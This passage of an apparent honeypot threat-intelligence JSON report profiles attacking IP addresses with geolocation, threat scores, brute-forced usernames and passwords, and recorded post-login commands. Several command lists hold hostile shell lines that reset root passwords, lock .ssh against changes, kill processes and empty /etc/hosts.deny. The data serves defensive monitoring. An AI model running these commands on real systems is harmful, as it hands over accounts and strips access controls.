        "echo -e \"123456\\nHG4CSJBNKX1D\\nHG4CSJBNKX1D\"|passwd|bash",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami"
      ],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.command.failed",
        "cowrie.login.success"
      ],
      "country": "Japan",
      "country_code": "JP",
      "city": null,
      "asn": 7506,
      "as_org": "GMO Internet Group, Inc.",
      "threat_score": 29.7,
      "threat_level": "low",
      "score_components": {
        "frequency": 24.3,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.8
      },
      "reputation_metrics": {
        "total_events_30d": 268,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-24T08:17:31.004000+00:00",
        "last_seen_30d": "2026-04-24T08:54:28.650000+00:00",
        "days_since_last_seen": 6
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 204,
        "Suricata": 64
      }
    },
    "185.158.22.150": {
      "attack_count": 193,
      "first_seen": "2026-04-17T05:27:54.656Z",
      "last_seen": "2026-04-17T06:03:43.133Z",
      "sessions": 27,
      "ports": [],
      "usernames_attempted": [
        "root",
        "server",
        "345gs5662d34",
        "ali",
        "dev",
        "frappe",
        "postgres",
        "teamspeak",
        "tests",
        "ubuntu",
        "user12"
      ],
      "passwords_attempted": [
        "1234",
        "123456aA!",
        "123qweasd",
        "1qaz@WSX#EDC",
        "3245gs5662d34",
        "345gs5662d34",
        "Ali5",
        "Diamond1",
        "Jc.123456",
        "Jc123456",
        "Qaz147852",
        "Qazwsx12@#",
        "Qazwsx2026!!",
        "Root#",
        "Root888$",
        "Root9999.",
        "Server29",
        "Teamspeak6",
        "dev03",
        "frappe26"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "echo \"root:oxuyT6cQTT0P\"|chpasswd|bash",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami"
      ],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.session.file_download",
        "cowrie.command.failed"
      ],
      "country": "Iraq",
      "country_code": "IQ",
      "city": "Karbala",
      "asn": 210022,
      "as_org": "Trade Link Logistics General Trading & Contracting Company W.L.L., L.L.C.",
      "threat_score": 20.9,
      "threat_level": "low",
      "score_components": {
        "frequency": 24.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.57
      },
      "reputation_metrics": {
        "total_events_30d": 254,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-17T05:27:54.656000+00:00",
        "last_seen_30d": "2026-04-17T06:04:47.813000+00:00",
        "days_since_last_seen": 13
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 193,
        "Suricata": 61
      }
    },
    "103.146.159.14": {
      "attack_count": 179,
      "first_seen": "2026-04-14T00:35:37.327Z",
      "last_seen": "2026-04-14T01:16:06.641Z",
      "sessions": 24,
      "ports": [],
      "usernames_attempted": [
        "root",
        "ubuntu",
        "jenkins",
        "345gs5662d34",
        "alireza",
        "deploy",
        "frappe",
        "myappuser",
        "nacos",
        "oracle",
        "teamspeak",
        "vpn"
      ],
      "passwords_attempted": [
        "1234",
        "!QAZxdr5",
        "3245gs5662d34",
        "345gs5662d34",
        "Admin@123",
        "Oracle0",
        "Qazwsx1111.",
        "Qazwsx2026@123",
        "Root2025$",
        "Test123",
        "Ubuntu23!",
        "Zr123456@",
        "admin2025",
        "alireza",
        "frappe!@#$",
        "frappe09",
        "nacos",
        "qazwsx2024@@",
        "qazwsx54321@123",
        "root_root"
      ],
      "commands_executed": [
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "echo \"ubuntu3\\nKTFk3nugBHxk\\nKTFk3nugBHxk\\n\"|passwd",
        "echo -e \"ubuntu3\\nKTFk3nugBHxk\\nKTFk3nugBHxk\"|passwd|bash",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami"
      ],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.command.failed",
        "cowrie.login.success"
      ],
      "country": "Hong Kong",
      "country_code": "HK",
      "city": null,
      "asn": 142403,
      "as_org": "YISU CLOUD LTD",
      "threat_score": 17.0,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 23.7,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.47
      },
      "reputation_metrics": {
        "total_events_30d": 232,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-14T00:35:37.327000+00:00",
        "last_seen_30d": "2026-04-14T01:17:10.153000+00:00",
        "days_since_last_seen": 16
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 179,
        "Suricata": 53
      }
    },
    "139.19.117.197": {
      "attack_count": 168,
      "first_seen": "2026-04-01T01:27:39.845Z",
      "last_seen": "2026-04-27T01:44:41.761Z",
      "sessions": 28,
      "ports": [],
      "usernames_attempted": [
        "root",
        "admin"
      ],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.fingerprint",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.success",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Germany",
      "country_code": "DE",
      "city": "Saarbr\u00fccken",
      "asn": 680,
      "as_org": "Verein zur Foerderung eines Deutschen Forschungsnetzes e.V.",
      "threat_score": 58.9,
      "threat_level": "medium",
      "score_components": {
        "frequency": 23.9,
        "persistence": 22.5,
        "diversity": 4,
        "spread": 15,
        "recency_factor": 0.9
      },
      "reputation_metrics": {
        "total_events_30d": 248,
        "days_active_30d": 27,
        "ports_targeted_30d": 2,
        "honeypots_triggered_30d": 3,
        "first_seen_30d": "2026-04-01T01:18:16.419000+00:00",
        "last_seen_30d": "2026-04-27T06:36:08.960000+00:00",
        "days_since_last_seen": 3
      },
      "honeypot_breakdown_30d": {
        "Suricata": 130,
        "Cowrie": 112,
        "Honeytrap": 6
      }
    },
    "189.169.65.170": {
      "attack_count": 168,
      "first_seen": "2026-04-28T12:11:10.404Z",
      "last_seen": "2026-04-28T12:31:19.966Z",
      "sessions": 22,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34"
      ],
      "passwords_attempted": [
        "123rf7",
        "1q2w3e4r5t6y1q2w3e4r5t",
        "1qaz@WSX3edcoriginal",
        "3245gs5662d34",
        "345gs5662d34",
        "Asd12$",
        "Asdf1234!",
        "NeuCm10.254.7.19",
        "[master]",
        "adm1n",
        "admin32",
        "aq!@#",
        "b@b3",
        "bhalgarh:",
        "combo123",
        "edward",
        "ftpuser",
        "letm31n",
        "oracle12345678",
        "test1234567"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "echo \"root:s9fQm1wZaP1Y\"|chpasswd|bash",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami"
      ],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.session.file_download",
        "cowrie.command.failed"
      ],
      "country": "Mexico",
      "country_code": "MX",
      "city": "Celaya",
      "asn": 8151,
      "as_org": "UNINET",
      "threat_score": 33.8,
      "threat_level": "low",
      "score_components": {
        "frequency": 23.3,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.93
      },
      "reputation_metrics": {
        "total_events_30d": 216,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-28T12:11:10.404000+00:00",
        "last_seen_30d": "2026-04-28T12:32:22.945000+00:00",
        "days_since_last_seen": 2
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 168,
        "Suricata": 48
      }
    },
    "51.159.149.54": {
      "attack_count": 156,
      "first_seen": "2026-04-22T00:12:14.390Z",
      "last_seen": "2026-04-22T00:13:36.987Z",
      "sessions": 30,
      "ports": [],
      "usernames_attempted": [
        "root",
        "admin",
        "chinxmr",
        "dev",
        "dillof",
        "git",
        "mc",
        "oracle",
        "pilinux",
        "postgres",
        "server",
        "system",
        "test",
        "testuser",
        "ubnt",
        "ubuntu",
        "user",
        "zabbix"
      ],
      "passwords_attempted": [
        "123456",
        "admin",
        "password",
        "1234567890",
        "1qaz@wsx",
        "chi1234567890",
        "dev",
        "dillofsha256s",
        "git",
        "mc",
        "oracle",
        "pilinux123",
        "postgres",
        "redhat",
        "root",
        "server",
        "system",
        "test",
        "testuser",
        "toor"
      ],
      "commands_executed": [
        "uname -a ; echo 'vT'"
      ],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.failed",
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.login.success",
        "cowrie.session.params"
      ],
      "country": "France",
      "country_code": "FR",
      "city": "Paris",
      "asn": 12876,
      "as_org": "Scaleway SAS",
      "threat_score": 27.2,
      "threat_level": "low",
      "score_components": {
        "frequency": 23.4,
        "persistence": 1.7,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.73
      },
      "reputation_metrics": {
        "total_events_30d": 217,
        "days_active_30d": 2,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-21T22:11:37.197000+00:00",
        "last_seen_30d": "2026-04-22T00:14:44.455000+00:00",
        "days_since_last_seen": 8
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 156,
        "Suricata": 61
      }
    },
    "14.29.214.161": {
      "attack_count": 144,
      "first_seen": "2026-04-28T17:39:55.450Z",
      "last_seen": "2026-04-28T18:43:47.529Z",
      "sessions": 28,
      "ports": [],
      "usernames_attempted": [
        "ubuntu",
        "admin",
        "bitrix",
        "345gs5662d34",
        "administrateur",
        "ali",
        "appuser",
        "dbadmin",
        "etserver",
        "mc",
        "odoo",
        "odoo13",
        "server",
        "teamspeak",
        "test",
        "test123",
        "tester",
        "testing",
        "user",
        "vpn"
      ],
      "passwords_attempted": [
        "123456",
        "admin",
        "asdfghjkl",
        "!@#QWE123qwe",
        "!QAZ@WSX#EDC",
        "0000",
        "1234",
        "12341234",
        "12345",
        "1234567890",
        "123bitrix",
        "1q2w3e",
        "3245gs5662d34",
        "345gs5662d34",
        "9379992",
        "P@ssw0rd123",
        "Ubuntu1",
        "admin.123",
        "deploy12345678",
        "etserver"
      ],
      "commands_executed": [
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "lockr -ia .ssh"
      ],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.login.success",
        "cowrie.session.params"
      ],
      "country": "China",
      "country_code": "CN",
      "city": "Shenzhen",
      "asn": 4134,
      "as_org": "Chinanet",
      "threat_score": 33.7,
      "threat_level": "low",
      "score_components": {
        "frequency": 23.3,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.93
      },
      "reputation_metrics": {
        "total_events_30d": 214,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-28T17:39:55.450000+00:00",
        "last_seen_30d": "2026-04-28T18:44:52.993000+00:00",
        "days_since_last_seen": 2
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 144,
        "Suricata": 70
      }
    },
    "144.79.187.25": {
      "attack_count": 143,
      "first_seen": "2026-04-28T16:37:24.174Z",
      "last_seen": "2026-04-28T17:10:04.526Z",
      "sessions": 20,
      "ports": [],
      "usernames_attempted": [
        "root",
        "ubuntu",
        "345gs5662d34",
        "es",
        "oracle"
      ],
      "passwords_attempted": [
        "12345678@Abc",
        "1q2w3easd",
        "3245gs5662d34",
        "345gs5662d34",
        "Fh#123456",
        "Qaz1wsx2",
        "Root!!2025",
        "Welcome!",
        "a",
        "abc123.",
        "asd.123456",
        "czj123456",
        "es123123",
        "info123",
        "oracle123",
        "postgres"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "echo \"root:pGprpA9oyXue\"|chpasswd|bash",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami"
      ],
      "event_types": [
        "cowrie.session.connect",
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.version",
        "cowrie.client.kex",
        "cowrie.session.closed",
        "cowrie.login.failed",
        "cowrie.session.file_download",
        "cowrie.command.failed"
      ],
      "country": "Indonesia",
      "country_code": "ID",
      "city": null,
      "asn": 138000,
      "as_org": "PT Antar Fiber Optik",
      "threat_score": 33.3,
      "threat_level": "low",
      "score_components": {
        "frequency": 22.9,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.93
      },
      "reputation_metrics": {
        "total_events_30d": 194,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-28T16:37:24.174000+00:00",
        "last_seen_30d": "2026-04-28T17:11:07.196000+00:00",
        "days_since_last_seen": 2
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 143,
        "Suricata": 51
      }
    },
    "109.105.93.37": {
      "attack_count": 102,
      "first_seen": "2026-04-20T21:21:05.474Z",
      "last_seen": "2026-04-21T11:33:27.920Z",
      "sessions": 51,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Russia",
      "country_code": "RU",
      "city": "Mezhdurechensk",
      "asn": 8359,
      "as_org": "MTS PJSC",
      "threat_score": 25.5,
      "threat_level": "low",
      "score_components": {
        "frequency": 22.7,
        "persistence": 1.7,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.7
      },
      "reputation_metrics": {
        "total_events_30d": 188,
        "days_active_30d": 2,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-20T21:21:05.474000+00:00",
        "last_seen_30d": "2026-04-21T11:43:34.723000+00:00",
        "days_since_last_seen": 9
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 102,
        "Suricata": 86
      }
    },
    "100.52.244.69": {
      "attack_count": 97,
      "first_seen": "2026-04-30T08:11:44.847Z",
      "last_seen": "2026-04-30T10:00:06.620Z",
      "sessions": 27,
      "ports": [],
      "usernames_attempted": [
        "root",
        "apache",
        "caja01",
        "clz",
        "david",
        "hyh",
        "ksy",
        "weblogic",
        "yjq",
        "yourh"
      ],
      "passwords_attempted": [
        "123456",
        "1234512345",
        "1qaz@WSX",
        "Qwe123!@#",
        "caja01",
        "david",
        "dmiip2020",
        "ksy",
        "qazxsw123",
        "root@3000",
        "test123",
        "test321"
      ],
      "commands_executed": [
        "uname -s -v -n -r -m"
      ],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.version",
        "cowrie.client.kex",
        "cowrie.login.failed",
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.login.success",
        "cowrie.session.params"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Ashburn",
      "asn": 14618,
      "as_org": "Amazon.com, Inc.",
      "threat_score": 35.0,
      "threat_level": "low",
      "score_components": {
        "frequency": 22.2,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 166,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-30T08:11:44.847000+00:00",
        "last_seen_30d": "2026-04-30T10:01:12.603000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 97,
        "Suricata": 69
      }
    },
    "115.49.23.223": {
      "attack_count": 50,
      "first_seen": "2026-04-20T20:05:04.298Z",
      "last_seen": "2026-04-20T20:10:28.721Z",
      "sessions": 25,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 4837,
      "as_org": "CHINA UNICOM China169 Backbone",
      "threat_score": 21.1,
      "threat_level": "low",
      "score_components": {
        "frequency": 18.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.67
      },
      "reputation_metrics": {
        "total_events_30d": 76,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-20T20:05:04.298000+00:00",
        "last_seen_30d": "2026-04-20T20:11:34.763000+00:00",
        "days_since_last_seen": 10
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 50,
        "Suricata": 26
      }
    },
    "175.107.3.137": {
      "attack_count": 50,
      "first_seen": "2026-04-20T07:51:26.444Z",
      "last_seen": "2026-04-20T07:56:50.895Z",
      "sessions": 25,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Pakistan",
      "country_code": "PK",
      "city": "Taxila",
      "asn": 23888,
      "as_org": "National Telecommunication Corporation HQ",
      "threat_score": 21.1,
      "threat_level": "low",
      "score_components": {
        "frequency": 18.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.67
      },
      "reputation_metrics": {
        "total_events_30d": 76,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-20T07:51:26.444000+00:00",
        "last_seen_30d": "2026-04-20T07:57:59.561000+00:00",
        "days_since_last_seen": 10
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 50,
        "Suricata": 26
      }
    },
    "186.123.145.80": {
      "attack_count": 50,
      "first_seen": "2026-04-30T06:40:58.895Z",
      "last_seen": "2026-04-30T06:46:35.247Z",
      "sessions": 25,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Argentina",
      "country_code": "AR",
      "city": "C\u00f3rdoba",
      "asn": 11664,
      "as_org": "Techtel LMDS Comunicaciones Interactivas S.A.",
      "threat_score": 31.6,
      "threat_level": "low",
      "score_components": {
        "frequency": 18.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 76,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-30T06:40:58.895000+00:00",
        "last_seen_30d": "2026-04-30T06:47:41.867000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 50,
        "Suricata": 26
      }
    },
    "94.243.10.199": {
      "attack_count": 50,
      "first_seen": "2026-04-15T00:25:29.805Z",
      "last_seen": "2026-04-15T00:32:28.645Z",
      "sessions": 25,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Russia",
      "country_code": "RU",
      "city": "Tyumen",
      "asn": 8359,
      "as_org": "MTS PJSC",
      "threat_score": 15.8,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 18.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.5
      },
      "reputation_metrics": {
        "total_events_30d": 75,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-15T00:25:29.805000+00:00",
        "last_seen_30d": "2026-04-15T00:32:28.645000+00:00",
        "days_since_last_seen": 15
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 50,
        "Suricata": 25
      }
    },
    "190.108.64.6": {
      "attack_count": 48,
      "first_seen": "2026-04-30T11:39:30.610Z",
      "last_seen": "2026-04-30T11:45:24.969Z",
      "sessions": 24,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Ecuador",
      "country_code": "EC",
      "city": "Quito",
      "asn": 27740,
      "as_org": "EDGEUNO ECUADOR S.A.",
      "threat_score": 31.5,
      "threat_level": "low",
      "score_components": {
        "frequency": 18.6,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 73,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-30T11:39:30.610000+00:00",
        "last_seen_30d": "2026-04-30T11:46:27.076000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 48,
        "Suricata": 25
      }
    },
    "45.78.198.228": {
      "attack_count": 43,
      "first_seen": "2026-04-29T17:08:44.186Z",
      "last_seen": "2026-04-29T19:05:41.269Z",
      "sessions": 13,
      "ports": [],
      "usernames_attempted": [
        "testftp",
        "user03"
      ],
      "passwords_attempted": [
        "1234",
        "t3stftp"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.kex",
        "cowrie.login.failed"
      ],
      "country": "Singapore",
      "country_code": "SG",
      "city": "Singapore",
      "asn": 150436,
      "as_org": "Byteplus Pte. Ltd.",
      "threat_score": 29.7,
      "threat_level": "low",
      "score_components": {
        "frequency": 17.9,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.97
      },
      "reputation_metrics": {
        "total_events_30d": 62,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-29T17:08:44.186000+00:00",
        "last_seen_30d": "2026-04-29T19:06:51.254000+00:00",
        "days_since_last_seen": 1
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 43,
        "Suricata": 19
      }
    },
    "177.149.37.107": {
      "attack_count": 40,
      "first_seen": "2026-04-28T04:33:15.599Z",
      "last_seen": "2026-04-28T04:51:38.025Z",
      "sessions": 20,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Brazil",
      "country_code": "BR",
      "city": "Itaja\u00ed",
      "asn": 26615,
      "as_org": "TIM SA",
      "threat_score": 28.6,
      "threat_level": "low",
      "score_components": {
        "frequency": 17.9,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.93
      },
      "reputation_metrics": {
        "total_events_30d": 61,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-28T04:33:15.599000+00:00",
        "last_seen_30d": "2026-04-28T04:52:45.338000+00:00",
        "days_since_last_seen": 2
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 40,
        "Suricata": 21
      }
    },
    "45.148.10.151": {
      "attack_count": 40,
      "first_seen": "2026-04-05T01:02:42.721Z",
      "last_seen": "2026-04-29T22:02:47.800Z",
      "sessions": 10,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Netherlands",
      "country_code": "NL",
      "city": "Amsterdam",
      "asn": 48090,
      "as_org": "Techoff Srv Limited",
      "threat_score": 49.6,
      "threat_level": "medium",
      "score_components": {
        "frequency": 18.5,
        "persistence": 20.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.97
      },
      "reputation_metrics": {
        "total_events_30d": 70,
        "days_active_30d": 25,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-05T01:02:42.721000+00:00",
        "last_seen_30d": "2026-04-29T22:03:53.768000+00:00",
        "days_since_last_seen": 1
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 40,
        "Suricata": 30
      }
    },
    "206.135.174.65": {
      "attack_count": 36,
      "first_seen": "2026-04-21T10:50:00.548Z",
      "last_seen": "2026-04-21T10:54:00.983Z",
      "sessions": 18,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Pakistan",
      "country_code": "PK",
      "city": "Sialkot",
      "asn": 9541,
      "as_org": "Cyber Internet Services Pvt Ltd.",
      "threat_score": 21.2,
      "threat_level": "low",
      "score_components": {
        "frequency": 17.4,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.7
      },
      "reputation_metrics": {
        "total_events_30d": 55,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-21T10:50:00.548000+00:00",
        "last_seen_30d": "2026-04-21T10:55:11.293000+00:00",
        "days_since_last_seen": 9
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 36,
        "Suricata": 19
      }
    },
    "35.205.201.82": {
      "attack_count": 35,
      "first_seen": "2026-04-23T07:34:21.146Z",
      "last_seen": "2026-04-23T07:34:48.572Z",
      "sessions": 10,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.version",
        "cowrie.client.kex"
      ],
      "country": "Belgium",
      "country_code": "BE",
      "city": "Brussels",
      "asn": 396982,
      "as_org": "Google LLC",
      "threat_score": 23.2,
      "threat_level": "low",
      "score_components": {
        "frequency": 17.5,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.77
      },
      "reputation_metrics": {
        "total_events_30d": 56,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-23T07:34:21.146000+00:00",
        "last_seen_30d": "2026-04-23T07:35:56.412000+00:00",
